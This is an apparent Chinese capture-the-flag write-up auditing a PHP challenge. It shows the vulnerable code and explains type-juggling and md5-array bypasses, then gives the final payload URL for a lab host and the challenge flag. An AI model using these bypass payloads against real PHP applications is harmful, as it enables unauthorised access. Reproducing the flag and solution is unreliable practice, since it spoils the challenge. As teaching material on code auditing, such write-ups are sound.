php漏洞
php代码审计
php
首先理解代码的意思 $a=(array)json_decode(@$_GET[‘sju’]) //get方式得到sju的参数值// if(is_array($a)){ is_numeric(@$a[“bar1”])?die(“nope”):NULL; if(@$a[“bar1”]){ ($a[“bar1”]>2016)?$v1=1:NULL; } //要求sju值里面要有一个键名是bar1的键值与2016比较且大于2016// if(is_array(@$a[“bar2”])){ if(count($a[“bar2”])!==5 OR !is_array($a[“bar2”][0])) die(“nope”); $pos = array_search(“sju”, $a[“bar2”]); $pos===false?die(“nope”):NULL; foreach($a[“bar2”] as $key=>$val){ $val===”sju”?die(“nope”):NULL; } $v2=1; //要求sju值里面有个键名为bar2且其键值为一个长度等于5的数组且第一个值也为数组// $c=@$_GET[‘c4t’]; $d=@$_GET[‘d09’]; if ($_GET[‘c4t’] != $_GET[‘d09’]) { if (md5($_GET[‘c4t’]) === md5($_GET[‘d09’])) { $v3=1; //要求c4t!=d09并且md5(c4t)===md5(d09),所以可以使用数组进行绕过:c4t[]=1&d09[]=2 最后payload为:192.168.19.60:13009/?sju={“bar1”:”2017a”,”bar2”:[[1],1,2,3,0]}&c4t[]=1&d09[]=2 ## 【flag】 SJU{phP_Is_th3_b35t}